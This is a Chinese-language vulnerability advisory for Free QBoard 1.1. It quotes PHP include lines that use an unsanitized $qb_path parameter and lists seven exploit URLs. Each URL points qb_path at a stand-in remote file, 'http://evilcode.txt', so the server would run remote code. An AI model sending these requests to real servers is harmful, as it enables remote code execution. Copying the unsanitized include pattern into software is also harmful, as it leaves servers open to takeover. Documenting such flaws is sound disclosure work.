添加时间:
2008-10-03

系统编号:
WAVDB-00979
BUGTRAQ: 18788

影响版本:
free QBoard 1.1

程序介绍:

Free Qboard是高级的开放源码留言簿服务。

漏洞分析:

Free Qboard的多个模块中存在远程文件包含漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

具体漏洞代码如下：

----------------------
1- index.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------------------------------
2- about.php
include $qb_path."incs/header.php";
----------------------------------
3- contact.php
include $qb_path."incs/header.php";
----------------------------------
4- delete.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------------------------------
5- faq.php
include $qb_path."incs/header.php";
----------------------------------
6- features.php
include $qb_path."incs/header.php";
----------------------------------
7- history.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------
$qb_path parameter File inclusion

漏洞利用:

www.example.com/(path)/index.php?qb_path=http://evilcode.txt?
www.example.com/(path)/about.php?qb_path=http://evilcode.txt?
www.example.com/(path)/contact.php?qb_path=http://evilcode.txt?
www.example.com/(path)/delete.php?qb_path=http://evilcode.txt?
www.example.com/(path)/faq.php?qb_path=http://evilcode.txt?
www.example.com/(path)/features.php?qb_path=http://evilcode.txt?
www.example.com/(path)/history.php?qb_path=http://evilcode.txt?

解决方案:
厂商补丁：
free QBoard
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://sourceforge.net/projects/freeqboard/

信息来源:
<*来源：CrAsh_oVeR_rIdE （KARKOR23@hotmail.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=115194911001823&w=2
*>